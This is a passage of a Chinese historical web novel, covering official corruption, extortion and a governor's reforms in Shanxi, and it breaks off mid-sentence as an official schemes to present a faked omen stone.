没过几天,江振波家对面的客栈里住进了一位明艳的小姐。那小姐每日也不出门,仅在晨昏吹箫自娱。江振波是喜爱音乐的人,初次听闻便被吸引。到了第三天傍晚,江振波听着箫声,一时技痒,也拿出竹箫站在自家楼上对着客栈吹奏起来。没想到,对方很快也加入进来,与他和了一曲。江振波心中甚是欢喜,便让下人往客栈送了些果品蜜饯。不大的功夫,客栈二楼的窗棂缓缓打开,一个妙龄女郎出现在窗前。江振波抬眼一望,只见对面的女子,面如中秋月,色似早春花,云鬓漆黑,眉如墨画,眼似秋波,鼻如悬胆,唇若朱丹,好一副美人模样。那女子冲着江振波飘飘万福,继而开口说:“多谢官人赠物。听官人吹奏甚为美妙,想来您也是喜爱丝竹之人。奴家就演奏一曲《平湖秋月》算作回礼。”说完,美人掩蔽窗棂,开始吹奏。悠扬的乐音飘忽而至,直把个江振波吹得心旌摇荡。他回想着女子的姣好容颜和婀娜倩影,不由轻叹道:“没想到,我江某人而立之年还能遇到知音。若得此女为妾,我心足矣。” 一夜未眠,江振波第二天便叫家人去打听那女子的身世。家人回报说那位小姐名叫盼盼,祖籍祁门,年方十八,因父亲亡故,由叔父供养。其叔往浔阳经商,暂时让她寄居此地,待贩物返回,便要离开。江振波闻后大喜,先让下人送了些礼品,又亲往客栈会见佳人,情愿多出财货,纳盼盼为偏房。起初,盼盼小姐并不愿露面,但听江振波说话诚恳,随打开房门与之会谈。两人志趣相投,聊天吹曲,不觉天色已晚。江振波提出让盼盼搬到自己家居住。盼盼害羞又不想错过姻缘,随即说道:“我叔父外出贩货,不日便回,奴家之事当禀明叔父,由他做主。官人若真有心,就该忍耐几日,待见过叔父,再做商量。”江振波望着眼前的美人,心中实在难舍,上前拥住盼盼说:“遇见你之前,我真是白活了几十年啊……”二人正温存间,房门突然被人撞开,史培浩领着几个从人冲进屋来。史培浩怒声说道:“江振波,你要干什么?皇家的女人也是你敢玷污的吗?”旁边一个中年男人则点指着盼盼,骂道:“我说,你个不知羞耻的东西。为叔已把你献给了皇家。你竟干出这等丢人勾当!”盼盼赶忙扑到中年男人脚前,痛哭流涕,请求原谅。面对如此情景,江振波有些不知所措。他痴痴地跪倒,哀求道:“知县大人,冤枉,小人并不知道她已身属皇家呀!且我们仅是谈论丝竹箫管,并未做出越轨之事!”史培浩更加恼怒地说:“还敢狡辩!你们孤男寡女夤夜私会,能干什么好事。更何况,你们搂搂抱抱,肌肤相亲是本官亲眼所见。难道本官和这些差役还能冤枉你不成!你是大户出身,又读过书,应该知道淫辱皇家的女人那是要诛灭九族的!来人,绑了这个衣冠禽兽,押回衙门,再做审讯。” 史培浩连夜升堂。他问明了情由,又让盼盼咬死江振波调戏,随以猥亵进宫女子,对皇家大不敬等罪名,把江振波打入了死牢。这下,江家人可慌了神。他们一面派人四处打点,一面请本家和乡里有头有脸的人出面说和。在江家给县里使了万两银钱之后,史培浩终于松口,称女子还未进宫,故可减等处理,判定江振波调戏良家,不尊礼法,应收监三年,惩其轻薄。 办完了案子,史培浩乐呵呵地回到后衙。他一把搂住盼盼的腰,淫笑着说:“小浪蹄子可想死我了,别回浔阳了,就呆在我这儿。”盼盼扭动着腰肢,哼唧着说:“嗯,那姐姐还不吃醋呀。老爷还是先兑现答应我的条件吧。”史培浩把手伸进盼盼的衣服里,摸索着说:“不就是捐个官吗,我已经派人去办了,说不定很快你表哥就是浔阳的副尉了。这个大茶壶,哪辈子修来的福气,能有你这么个好妹妹。”盼盼嘟起嘴,略带伤感地说:“唐刚是我唯一的亲人,要不是为了他,谁愿意干这下贱营生。”史培浩捏着盼盼肚兜上的香囊,开导说:“伤心事不聊了,去叫上你姐姐,咱们今晚来个一男戏二女……” 几天后,在浔阳的城防军里,真的多了一个名叫唐刚的副尉。这个唐刚上任的第一天,就召集手下的士兵说:“我说,以后,哥几个就跟着我查妓院。那地方的钱好敲,咱每天都能挣上三五两银子。我说,咱可说好了,所有收过来的钱,我要拿一半。”有几个知道他底细的士兵故意起哄说:“唐大茶壶,你也太黑了吧!我们这二三十号人都没你一个人拿的多?我们才不干这缺德事呢。”唐刚把眼一瞪说:“我说,你他妈别乱叫唤。现在我唐刚可是副尉。我说,那是我花了一千五百两,又请史大老爷做保才捐来的。我说,我这钱能白花吗?当然得从地方上找补回来。再说了,妓馆的那些个隐蔽勾当你们谁比我清楚?我说,没有我,你们什么也敲不着。”又有几个士兵叫喊到:“唐大副尉,钱不钱的我们不在乎。只要你经常带着弟兄们去妓馆里快活快活,我们就听你的。”唐刚嬉皮笑脸地说:“我说,那简单,一会儿我就带你们去。我说,这个,咱今天先查挨近白水湖的几家。听说,他们刚拐了几个小妞来,没有卖身契,这可是要吃官司的。我说,咱敲完了钱,我请大伙吃花酒,怎么样?”士兵们眉开眼笑地叫嚷道:“就这么的。唐大茶壶,啊,不对,该叫唐大副尉,咱们这就跟着你去。” 二十几个**跟着唐刚先到了丽春院。起初,那里的老鸨还一口咬定自己这里绝没有拐带人口。唐刚奸笑着说:“我说,当着明人,别说暗话。本副尉来就是要银子的,也不多,每月十两,只要你给了,本副尉绝不找你的麻烦。”老鸨陪着笑脸说:“大茶壶兄弟,咱这行的规矩你也知道,哪能挣那么多呢。要不,给你五两。你带着军爷们再到别家查查。”唐刚把脸一沉,骂道:“放你妈的屁。我说,你再敢叫本副尉大茶壶,本官叫人撕烂你的皮。我说,跟我装迷瞪,我啥不知道呀。来人啊。打开那间柴房,木架子后面还有个小屋,肯定藏的有人。”几个军兵踹开柴房的门就冲了进去。老鸨赶忙跪下央求道:“副尉老爷,是小的不懂事,您就看在李妈妈的份上,饶我一次,我情愿每月孝敬您十两银子……”这时,几个军兵已经从柴房里架出来一个被绑着手脚、堵着嘴巴的姑娘。唐刚得意地拽出姑娘嘴里的破布说:“我说,这可就不是十两了,得给十五两。”那姑娘以为得了救,刚能张嘴便拼命喊道:“军爷,救救我!军爷,救命啊!”唐刚被这呼救声震得耳根嗡嗡叫。他赶忙又把破布塞进姑娘的嘴里说:“行,行,行。我说,你们几个还把她架回去。本副尉只要钱,才不管她的破事。”那姑娘万没想到会是这样的结果。她用尽全身力气挣扎着,嘴里发出“呜呜”的声音。这边,老鸨子爬到唐刚脚前,捧着几块银子说:“副尉大人真是英明。小人谢副尉大人高抬贵手。”唐刚一手抄过银子,说道:“我说,听她口音是江北的,那儿可不太平,死了不少人啊。你收留她,给她一口饭吃,也算行善积德。我说,弟兄们,丽春院没问题,咱们走,去查下一家。” 一阵阴风吹过江面,连绵的秋雨洒落水中,整个江南都消失在朦胧的烟波间。其实,遍观中华大地,被风雨掩映的又岂止江南呢?正如那位被绑在丽春院的姑娘后来吟唱的词曲描述的:寂寞青楼,风触绣帘珠碎撼。月朦胧,花暗澹,锁春愁。寻思往事依稀梦,泪脸露桃红色重。鬓欹蝉,钗坠凤,思悠悠。雨渍花零,红散香凋池两岸。别情遥,春歌断,掩银屏。孤帆早晚离三楚,闲理钿筝愁几许。曲中情,弦上语,不堪听。秋雨连绵,声散败荷丛里,那堪深夜枕前听,酒初醒。牵愁惹思更无停,烛暗香凝天欲曙。细和烟,冷和雨,透帘旌。秋月婵娟,皎洁碧纱窗外,照花穿竹冷沉沉,印池心。凝露滴,砌蛩吟。惊觉谢娘残梦,夜深斜傍枕前来,影徘徊。 第三十七回1 治政山西之初 宋启愚治政山西后,首先至书余允文,要他带领唐明渊、欧阳亮等几十名中过举人的学生前往山西做官,又任赵显为新的三学博士,负责“魁星三学”今后的日常事务。他还将晋阳的“天龙书院”扩建为“天龙三学”,培养文化、武学和技能三方面的人才,并授予丁训名誉博士,配享书院文庙。宋启愚又向大同拨付了钱粮,命弓康年、段卫国立即开建关北长城,加强北方的防御力量。宋启愚还把已在济南定居的邝玄先生请来,和王庶、方庆钟一起推行新的生产技术,在晋阳、汾阳、代州、泽州等地建造工坊,提振地方经济。宋启愚又抛开“华夷成见”,大胆地命令山西货栈和身在登州的侯宗等人代表山西与东瀛人和高丽人合作,开展海上贸易,赚取外贸利润。他还走向市井村田,亲自探访晋阳的社会秩序和生产情况,并派出曹可用、毛小等人前往山西各地暗查官员的名声品德和工作能力,以期及时监督,惩恶扬善,提升行政效率,改善百姓生活。 这一日,宋启愚带着康恩、刘戈微服前往汾河边视察农耕情况。宋启愚看着丰收在望的小米田,心情大好。他走上地头,在一棵大槐树下,与正在乘凉的农民攀谈起来。他让刘戈把带着的黑面馍分给众人吃。一个农民咬了一大口馒头嚼着,又把自己拿的黄面馍掰了一大块递给宋启愚说:“老弟,尝尝老哥的,这个加了一点点白面,好吃。”宋启愚接过馍来,尝了一口,笑着说:“老哥说的不错,确实好吃。咱是哪个村的?现在日子过得咋样?”那农民憨笑着说:“咱就是这桑树坡人。每年打的粮食,交了贡还了账刚够过活呀。这今年春上,咱这儿来了位新节度使宋大人。他一下子把青黄法的年利降到了两成,说是剩下的利息由官府提请中央减免。老百姓开始都不信啊。结果,宋大人就让各县整理了各乡各村要还的皇粮数量,命他们做成布告发到底下,各村各乡又算出每家该还多少,把这些数字写出来贴到城门口和村头。宋大人又让各地官府当着百姓的面,烧了之前咱大伙画押的高息文书,这咱才放了心。这眼看就该收夏粮了,约摸着每家都能多得十几斗粮食咧!咱山西人总算能过个松快年了。”另一个老农咳嗽了两声,说道:“听说宋大人是咱山西光裕寨宋老令公的后人,前面还打败了柔然人,保住了大同城,那可是咱山西的大救星呀!我还听说,宋大人身高一丈五六,手伸出来象蒲扇,脑袋比斗还大……”一个年轻农民嬉笑道:“二叔净瞎说,哪有人长那么高的?”宋启愚也大笑道:“看来这位宋大人还真不是凡人啊!我听说他下个月要到咱这汾河边上祭拜河神,那大伙不就都见着了。”老农又轻咳了几声说:“可不是吗,祭河神是咱这儿几百年传下的规矩。咱县里的老爷们正在前面让民夫们建祭台呢。说是要用白色的石头重新修,那样更气派!到了六月十六那天,小老儿还真得去给宋大老爷磕几个头咧。”又一个农民插嘴说:“对,到时候咱都去给宋大人磕头。咱也瞧瞧大人长啥样。”宋启愚皱眉说:“河边的祭台我曾经路过,青石修建,结实无比,没有必要修缮呀。且这个月地里的活儿本就繁重,让民夫去修祭台,大伙家里的活儿谁干?”那年轻农民叹气说:“您说的不错,咱这祭台原本是用青条石搭盖的,不知道为什么,太原县的平大老爷非要改用白石头。这已经开工有七八天了,连白石头都运来了。”宋启愚内心十分不悦,但脸上却没有表露出来。他冲众人笑着拱手说:“各位乡党安坐,我也想去见识见识那气派的祭台,就先告辞了。”几个农民还礼说:“乡党只管去看,那祭台绕过前面的小山包就到。” 宋启愚和康恩、刘戈骑马向前行了四五里,果然见几百民夫正在忙碌。在黑色的祭台周遭,工匠们已经平整出了一片方圆里许的巨大空场,空场一头堆放着大块的白色大理石;还有些民夫抬着沉重的白石头正从汾河边的小码头往祭台运送;又有工匠指挥着民夫翻修着山坡下的河神庙。宋启愚跳下马,随机跟几个民夫聊了聊祭台的重建情况。从人们闪烁的话语间,宋启愚分明听出了,老百姓对这项表面光彩却没有实际价值的工程相当不满。他马上命康恩去把工地的管事人叫来。 不大的功夫,一个苦力打扮的中年男人慌慌张张地跟着康恩跑了过来。那男人用手抹拉了一把脸上的汗,双膝跪倒,口称:“卑职太原县令平大全拜见宋大人。”宋启愚看他劳累,便取出水囊递给他,又让康恩拿来手巾让他擦汗,这才开口说:“平大人辛苦。你这是做什么?”平大全双手捧过水囊,象征性地喝了一口,又恭恭敬敬地递还给宋启愚说:“宋大人容禀,祭祀河伯是春秋时黄河流域就有的传统活动。到了晋朝宁康、太元年间晋阳地区连遭水患,本地的老百姓就自发开始祭拜河神。到了隋朝开皇年间,咱太原县祭汾河的活动逐渐隆重。现在,每年六月十六祭祀河神已成为晋阳的一大盛典。因为您前些日子已经传令要出席祭祀仪式,为了让这典礼更加庄严隆重,下官特斥巨资,又抽调了民夫,对祭台进行翻修,以期到时能让宋大人享有主祭的风光。”宋启愚指着那些白石头说:“将祭台用白石重建可有什么讲究?这些石头是从哪里运来的?”平大全又一躬身说:“大唐时期,朝廷将北方的靺鞨、契丹地区称为‘白山黑水地’,而宋大人数月前又曾击败柔然,若能脚踏白山祭祀黑水,岂不是寓意大人能永远压制北方吗!再者,几年前,五台山有位高僧出过卦辞‘白石镇黑水,上上大吉’。故而,下官才准备用白色石材装饰祭台。这些石料是从百里外的楼烦山中采出,经汾河用船运来的。”宋启愚平复了一下心情,压抑着怒火说:“平大人可曾想过五六月乃是忙时,农人们看地、收割、晾晒都需投入劳作,在此时征用他们,势必影响百姓一季的收入。再者,为了一些虚幻的说辞,就大兴土木,靡费钱粮,也非治政之道。”平大全听节度使话风不对,赶忙又跪倒说:“宋大人息怒,是下官愚钝,虑事不周。下官这就停工,放民夫们回去。”宋启愚伸手扶起平大全说:“看你不辞辛劳,亲赴工地,想来是愿在地方成就一番事业的。只是,我等为官应讲求实效,不做面子工程,不侵害百姓利益。既然你已悔悟,我也不再苛责。你把民夫都遣散吧,仅留下县衙的工匠做些简单的修补就可以了。”平大全一边作揖后退一边说:“下官遵命,下官遵命。大人教诲,平某铭刻于心,今后定不再做劳民伤财的蠢事。”宋启愚微微一笑,又补充说:“平大人,我看本地的码头很是破败,不如将那些白石用于码头的修葺,也好造福于民。只是不要本月动工,至下月农闲时再开建也不迟晚。”太原县令忙不迭地答应着,转身传令去了。 在回晋阳的路上,康恩说:“这个平大全,我去叫他的时候,他还摆出一副官架子,爱答不理的。后来一听宋大人名号,他马上换了一副嘴脸,连赔不是带责骂手下,又一路小跑着来见大人。我在后面看他那屁股扭的象鸭子一样,真想踢他两脚。”刘戈转脸说:“这种人媚上欺下,就该踢。”宋启愚笑了笑说:“这也不能全怪他......”刘戈说:“大人说的深奥,我这粗人听不懂。我只知道,这个平大全本想把仪式弄得排场些,以讨好大人,可大人不吃这一套。”康恩边催马边说:“没啥难懂的。咱家大人最讨厌弄虚作假的,咱们跟在大人身边是祖上积德啊!”刘戈指着康恩,嘻嘻笑着说:“大人,他这是在拍您的马屁呢!”宋启愚哈哈大笑说:“康恩好像真的在逢迎我,不过他没有得到现实的好处,就不处罚了。”康恩冲刘戈扮了个鬼脸,又说道:“大人,今早苏大人来问,吏部和兵部发的那个公文要怎么答复。”宋启愚坐在马上想了想说:“嗷,是一些京官想搞个‘齐王平叛经历追忆典礼’我得给他们写一道贺表,以免得罪那些想通过参加活动捞好处、表忠心、邀功劳的小人……” 第三十七回2 治政山西之初 五月末,毛小以晋阳参军的职衔查访河东地区。 谢梁知州罗洪喜为了表示对毛小的恭敬,特率领阖州主官出城三十里迎接。他又主动把户籍和账目送到驿馆请毛小查看。他还亲自安排了众人的行程起居,事无巨细,非常周到。待吃罢接风宴,毛小单独请罗洪喜喝茶叙谈。罗洪喜先对节度使宋启愚的人品学问和能力战功大加吹捧,又对毛小极尽奉承,最后还拿出礼单,试探性地送给毛小。毛小则虚与委蛇,说着模棱两可的话。 次日,毛小在罗洪喜的陪同下,游览了硝池和盐湖,祭拜了关帝庙。毛小站在一眼望不到边的谢湖边,抓起一把沙盐,感叹道:“关公故里竟有这么个天然银库!罗大人好福气,治理着富庶大郡,可谓日进斗金啊!”罗洪喜陪着笑说:“这些都是国家资源,罗某只是替圣上、替宋大人暂时看管罢了。”毛小白了罗洪喜一眼说:“谁不知道罗大人富甲一方。只是你做的那些脏事,没有处理干净,被告到了省里,你还想欺瞒毛某不成?”罗洪喜被吓得出了一头大汗。他尴尬地笑着说:“毛参军取笑了。下官治理地方向来尽心,朝廷和上宪布置的任务我也总是想办法完成,虽说做事也有瑕疵,但本地整体上可谓政治清明,人民安乐……”毛小冷笑着说:“得得得,罗大人,毛某真心相帮,你竟一再提防,看来我是救不了你喽。”罗洪喜听毛小话里有话,眼珠转了转,试探着说:“毛参军息怒。大人愿助下官,罗某感激不尽。您有什么要求尽管直言。”毛小嘿嘿笑了笑说:“这么广阔的盐湖,罗大人已经占有了一半。你昨晚只给在下送来那么个礼单,似乎太看轻在下了吧!”罗洪喜闻言心中暗喜,赶忙深深一躬说:“大人千万不要介怀,下官昨日所送仅是给您的车马费用。今日晚间,下官就将五万两白银送到馆驿,不知大人可满意否?”毛小望着远方说:“你看,这湖里的浪很大吗。不过,银钱上我从不过手,你找我的书办邢锋、李文超交接吧。”罗洪喜边答应边作揖。毛小又说道:“还有,罗大人在驿馆内外布置的那些明哨暗探是不是可以撤回去了?我可不想被人监视。”罗洪喜急忙跪倒,赔不是说:“毛参军休怪,那些人是卑职派去保护大人的,既然大人不需伺候,下官这就叫他们回去。”毛小扶起罗洪喜,拍着他的肩膀说:“罗大人知错能改善莫大焉。看你汗出如浆,想是衣着过厚,不如回府更换。本官还想在这盐湖边上稍做停留,就不送大人了。”罗洪喜又施了一躬说:“多谢大人体谅,下官这就回府准备。” 待罗洪喜走后,毛小叫过邢锋和李文超,用极低的声音对他们说:“待会儿回到驿馆,罗洪喜会拿着五万两白银向我行贿。你们可知该怎样应对?”二人沉吟了片刻。邢锋略带犹疑地说:“参军,宋大人派咱们来是调查罗洪喜的呀,您难道……”毛小用手做了一个禁声的动作说:“大人交托的任务我没有忘记。我所做的一切都是为了查处罗洪喜的劣迹。你们想想,姓罗的在谢梁为官六年,可除去上个月有人前往晋阳喊冤之外,并没有人敢告他的状,这说明他在本地已经形成了强大的势力。若我们拿不到他敲诈土地、逼人自尽、杀人害命、欺压百姓、中饱私囊、贪污受贿的证据,宣道大人又怎么给他定罪呢?故此,我才先请他喝茶,向其示好;又索要重贿,麻痹其心;再撤其暗哨,宣示我的机警和威仪。至于,让你们交接贿赂,一是让罗洪喜认为我贪墨成性;二是叫你们给我做个见证,免得他人日后说三道四;三是要通过你们向罗洪喜传达一个重要信息。”李文超和邢锋几乎同时说道:“参军思虑周详,我等愿听吩咐。”毛小又把声音压低了些说:“我觉得本地的老百姓之所以不敢告发罗洪喜,主要是惧怕他的淫威。而我们在短期之内又弄不清楚哪些老百姓有冤。如果硬查,不但耗费时日,我们还会遭遇巨大的阻力,不如让罗洪喜派人带着我们去找证据、证人。”见邢、李二人面面相觑,毛小笑笑说:“总之,你们在接收贿金之时要装作满不在乎,轻车熟路的样子。然后,你们要在无意中提到‘我家大人甚喜王之涣的诗,尤其是那首《登鹳雀楼》’,我猜对方一定会说鹳雀楼就在离此不远的蒲板津。其后,我会告诉罗洪喜我要去鹳雀楼游览几日,并暗示他在此期间把自己的屁股擦干净。”李文超先反应过来,惊喜地说:“妙计啊!罗洪喜一定会在那几天派出他的亲信恐吓或关押曾受他盘剥的人,这不就等于把证据送到我们面前了吗?”毛小微微一笑,又比了个禁声动作,随即大声朗诵道:“王之涣写的诗真是气势磅礴。白日依山尽,黄河入海流。欲穷千里目,更上一层楼。” 在毛小排开仪仗前往蒲板津游览的过程中,罗洪喜果然露出了狐狸尾巴。可他哪里知道,毛小早已命姚凯等手下化妆潜伏在谢梁衙门周围,他的一举一动都没能逃脱查访人员的眼睛。在收集到了足够的证据之后,毛小派人向宋启愚递送了调查报告。宋启愚闻报大喜,随命毛小带领二百名士兵返回谢梁,立即抓捕罗洪喜等恶官,并将这些人押回晋阳治罪。 毛小离开谢梁时,很多谢湖人家在门前放起了鞭炮,还有不少人跪伏在城门内外送别这位解救本地百姓的恩公。 第三十七回3 治政山西之初 六月上旬的一天晌午,正在处理公务的宋启愚被一阵急促的堂鼓声惊动。他急忙整饬衣冠,吩咐升堂。宋启愚在正堂坐定后,随传唤击鼓之人。不大的工夫,十几个农村男女乱哄哄地上了堂。申鲤在堂口喝止道:“站住。上面是节度使宋大老爷。你们有何冤屈,跪下回话。”众人赶紧跪倒给宋启愚磕头。其中,一个乡绅打扮的老者小心地捧出状纸,呈上说:“小人们是朔州偏头寨人士,状告偏头寨都尉毛奇强娶民女,私增劳役。”宋启愚大吃一惊,急忙叫人把状纸拿来。从宋启愚严肃的表情里,申鲤等人分明感受到了大人的不安。 宋启愚认认真真地把状纸看了两遍,眉头一挑,和蔼地问道:“赵乙是哪位?”一个独臂小伙挣扎着向上磕头说:“小人就是赵乙。”宋启愚让人把他搀起来,又问:“你这胳膊是天生残疾还是受伤所致?”赵乙表情戚然地说:“小人原本手脚利落,六年前,我十二岁,跟着爹爹和赵大叔往北边给大户收秋,可却碰上了柔然人。我爷仨拼命逃跑,还是被追上。我爹为了保护我和赵大叔被柔然兵砍死了。我也挨了一刀,等我再醒的时候,这条胳膊已经没了。”宋启愚同情地看着赵乙,说道:“小小年纪遭遇不幸,的确可怜。来人,给他看座,让赵乙坐着回话。”宋启愚又问道:“赵大是哪位?”一个中年男人赶紧磕头,颤抖着声音说:“小人是赵大。”宋启愚问:“你家女子杏儿自幼指给赵乙为妻,可却被毛奇强娶了去。可是这样?”赵大哆哆嗦嗦地费了半天劲才从牙缝里挤出了几个字:“是……也……不是……这……”刚才呈递状纸的老者向上磕了个头说:“大人休怪,这赵大嘴笨。小老儿名唤赵天心,是这些人的族长。小老儿替他回大人的话。”宋启愚点点头说:“好吧,老人家继续讲来。”赵天心说道:“赵乙他爹跟赵大是最好的朋友,在两个孩子还很小的时候便给他们订了亲。赵乙他爹死后,赵大觉得亏欠赵乙父子的,便铁了心要把女儿嫁给赵乙。我们知寨把这事当做诚实守信的典型报到了省里。当时的代州知府也是前朔州知州陈昱正在推行这个……这个礼法教化,就表彰了这个事。还往我们偏头寨发了个表彰文书。今年三月,都尉毛奇来偏头寨驻防。他一来就张罗着在偏头寨北边的大山和黄河之间修建城墙,说是要建一座‘偏关’。我们那里人口少,毛都尉就让每村都派出民夫帮着修关,并让家属送饭。这赵大跟村里的其他几个人也到关上干活。他家杏儿有时候去送饭,不知怎么的就被毛将军看上了。毛都尉就请媒人往赵大家送礼说媒。因受过省里的表彰,赵大和赵乙两家都不同意。”宋启愚长长地出了一口气说:“按说,一家女百家求,虽然存在约定,但既未婚配,毛奇这么做也没有太大的过错。”赵天心又说:“四月底的时候,有几个柔然兵到偏头寨附近刺探消息,毛都尉在山上看见了,就带着人冲了过去,还斩杀了两个柔然兵。他回来后,径直到了我们村,掳了杏儿就走。因为他的马上挂着两颗血淋淋的人头,我们村的人竟都不敢上前。毛都尉当时冲着我们喊,他的命是国家的,说不定什么时候就没了,既然看上了杏儿,就一定得把她娶回去。”宋启愚略一皱眉,旋即说道:“这个毛奇,做事是唐突了些,不过说话倒很有血性。”他转脸对申鲤说:“此案情由本官已经清楚,就不必在大堂审理了。请众位乡党到二堂,本官在那里跟大伙聊聊家常。另外,通知后厨准备面食。我要陪乡党们用个午饭。”赵天心等人愣了一会儿,磕头说:“大人是何等尊贵的人,我们哪敢叨扰您啊!”宋启愚微笑着说:“一顿饭而已。大伙不要客气,都去,都去。” 吃罢了午饭,宋启愚又命从人给大伙上了茶,还叫康恩切了些甜瓜分给大伙吃。他呵呵笑着说:“乡党们可得吃饱啊,要是在我这里还挨饿,那传出去,我这个脸面可是没地儿搁呀。”众人感动地看着宋启愚。赵天心激动地跪倒说:“我们这些贱民做梦也想不到节度使老爷能请我们吃饭。光凭这一点就够我们吹嘘一辈子的了。”其他农民也纷纷跪下附和着。宋启愚把赵天心搀起来,说道:“大家都起来。通过刚才的叙谈,我了解了更多偏头寨的情况。我也给大伙解释了,毛奇将军增修城墙、建设偏关是奉了我的命令,并非私自征用劳役。而且,族长和赵甲也说了,毛奇经常派兵帮大伙干活,没有欺压过良善,也没有盘剥过百姓。另外,赵三家的也讲,咱们那儿现在很安定。老百姓只要抬头看见山上飘扬的军旗,就能安心生活。而前些年,大伙的日子显然要难过的多。那么,我想问问大家。我是给你们换个懦弱的将军去好呢,还是留毛奇在偏头寨好呢?”众人沉默了半晌,赵天心拱手说:“从治安上看,当然是留下毛将军更好。只是,我这赵乙侄孙可怜啊。且我们赵姓族人的名声……这可不好听啊!”宋启愚回到座位,把赵乙唤到跟前,说道:“赵乙,我知道你身体残疾,生活艰难,也理解你心中的苦楚。只是,杏儿已身属他人,木已成舟,无可挽回。不如本官替你在朔州谋条出路,挣钱致富;再让人给你说门亲事,成家立业;这样一来,你既离开了偏头寨,保住了名誉,又有了安身立命的营生,且没有远离家乡,逢年过节还能回乡探望。你看如此安排可好?”赵乙心中确实感动。他“哇”地一声大哭起来,蹲到地上说:“这么……多年,从来没人象大人……这样在乎……我的烂命。与其娶了杏儿……叫她跟我受苦,不如放她走。那毛奇……虽说夺了我的未婚妻,但他杀过柔然人,也算替我和我爹报了仇。也罢,赵乙愿听大人安排。”赵大上前,跪到宋启愚面前,哭泣道:“多谢大人,谢谢大人……谢大人……成全。”赵天心也领着族人跪下说:“大人处事公平果断,我赵氏一族心悦诚服。”宋启愚抬手让众人起身,慢慢地说:“大家谬奖了。其实,我也有私心呀!边关太需要象毛奇这样的英雄了。不过,各位放心,本官一定将毛奇叫到面前严加申斥,并令他好生对待杏儿,好生看待各位乡党。我要让他用杀敌镇边的功勋弥补前面所犯的罪责。” 下午,吴襄来到衙门向宋启愚汇报组建警巡队的事情。宋启愚听完,随口说道:“长白管理警巡部队已是轻车熟路。我还有什么不放心的呢?你就看着招募训练好了。我让申鲤、毛小他们辅助你。炮队方面,让崔同带。职衔吗,你先挂个晋阳镇守副使,嗣后,我再给你们升职。”吴襄一愣说:“宣道怎么心不在焉的,这些上次都已决定。我刚才汇报的是在泽州和寿阳增建警巡队的事。”宋启愚略显尴尬地笑笑说:“是宋某走神了。我还在想偏头寨的事。”吴襄向前凑了凑说:“我听申鲤他们说,处理这个事不是皆大欢喜吗?”宋启愚收住笑容说:“这个案子本身并不复杂,但背后却隐藏着一些官员勾心斗角的影子。赵家族人之所以坚持上告,主要是受到了礼法的压制和偏头寨知寨文天义的蛊惑。由于偏头寨原先的都尉性格暗弱,那文天义便独揽了所有权力。现在,突然去了个毛奇,文天义觉得自己的权威受到了挑战,于是才整出这么一出,想借机治一治毛奇。”吴襄惊讶地说:“怪不得十几个农民敢跨越几百里来省府告状,原来是背后有人撑腰啊。这不就是官员互斗吗。”宋启愚接着说:“这种现象不是个例,在山西乃至全国的许多地方都存在。而我遍观古籍,似乎也找不出能够抑制官员倾轧的办法。”吴襄拍着脑袋想了想,说道:“其实也好理解,一些官员手里的权力太大,又没有人能够制约,他们当然为所欲为了。要是总有一双眼睛盯着他们,这些人就会收敛许多。就象咱的警巡队,条例和条令由你制定,我只负责日常管带,钱粮和后勤由曹可用和方庆钟先生供给,毛小主抓执纪和监察,每个人身后都有人监督,每个人都不敢太放肆。”宋启愚认真听完,又思考了片刻,点点头说:“长白不愧是我的好帮手啊!从你的话里我好像有所顿悟,容我再斟酌斟酌,想出一套解决弊端的办法来……” 六月十六这天,宋启愚身穿官服,手执笏板,昂首挺立在黑色祭台之上。辰正时分,宋启愚面向汾河深深一躬,大声言道:“《山海经》上说,你叫冰夷,俊美无比,常巡视各地,聚会诸仙;又有地方恶绅,污你贪色,为你娶妻;致使你狂妄以及,竟看不起北海之大。直到西门豹治邺,方有人修渠治河,终绝水患;又有子羽持璧,鄙夷你的权威;最终让你在海神若正面前望洋兴叹。今天下不宁,黎民困顿,正需你平风静浪,帮助农工,恢复生产,护佑苍生。山西节度使宋启愚,不揣冒昧,备下太牢美酒祭拜于你,望你垂怜我之百姓,保其安乐,永享太平。至于此前,不修饰祭台,不翻新庙宇,都乃宋某所定。若彼恼怒,欲要加罪,就请怪到宣道一人头上,勿伤他人,勿扰人民……”原本汹涌澎湃的汾河似乎真的听懂了宋启愚的话,在转过不远处的河湾后,变得温驯安静。这汾河一路向南,穿过晋阳、清徐,流过灵石、洪洞,向着水天相接、滚滚东逝的黄河奔去。 第三十八回1 装神弄鬼 共治二年春,朝局发生了较大的变化。赵松寿和关之信被任命为宰相;刘睿、周做会出任副宰相;周亮、邱养德、白铭肇、冯体仁、司马德文等人当上了执政;张永德和张洪涛掌握了枢密院。而原先的中央禁军则被拆分成殿前亲卫、殿前步兵、殿前骑兵、侍卫亲军、侍卫步兵、侍卫骑兵六支部队,并分别交由齐元能、孙非等将领统率。曾经参与叛乱的大将赵义廷被外放到岭南任广西节度使。因赵松寿和司马德文悄然倒向了石坚一方,致使在朝堂上,齐王的势力逐渐占据上风。 在帝国西南边陲的黔中城里,节度使王克明正坐在他的衙门二堂里苦苦思索着。他抬头对自己的亲信云贵黜陟使张文海、播州知州蔡光辉和朱提镇守使安杰说:“把你们从治所叫来,是想跟你们商量商量,老夫怎样才能重返中央。为师若总呆在这里,虽然享有节度使自治的权力,但终归还是囿在西南一隅,没有多大施展,连你们的才能也会被埋没的。”蔡光辉一拱手说:“恩师,咱们以前拜错了门槛,现在想改换门庭可非易事呀。尤其是东西二殿下相互争雄,谁胜谁败还未可知,若咱们再磕错了头,可就没有翻身的机会了。”张文海略一拱手说:“恩师,蔡大人说的不错。咱们不但要多方考察选好新主,还要以特殊的功勋博得新主的赏识才行。否则,我们不若不动啊。”王克明捋着花白的胡须,说道:“诸位放心,离开汴梁的这五年,老夫做了许多准备,也想了许多。从京里传来的消息和各方面的情况看,齐王的胜算显然更大。所以,我们应即刻开始拥戴齐王进位的工作,以期在今后的朝堂上占据一席之地。其实,你们也许能够感觉到,老夫早已在做这件事情了。”安杰拱手说:“怪不得大人在公主作乱时,就让末将率领五千人马前往齐王军中效力。只可惜,末将到达前线,只打了一仗,战事便结束了。不过,大人托我送给王爷们和在京大员们的厚礼末将均已送出。齐王殿下对大人还是很看重的。”张文海也一拱手说:“恩师,既然您已决定拥戴齐王,就请您示下我等该如何行事。”王克明又捋了捋胡子说:“前些时,有匠人在盘州发现了一块两千斤的大玉。玉身上的纹理酷似一个‘齐’字,为了让这宝物更加神奇,老夫还叫人从大理国重金请来盘玉的匠师,在‘齐’字下方嵌入了一个‘皇’字。正常时候它不显现,每当雨后,大玉上便会出现‘齐皇’二字。文海啊,为师想派你把这件宝物押往汴京,献与齐王,以表我等效忠之意。且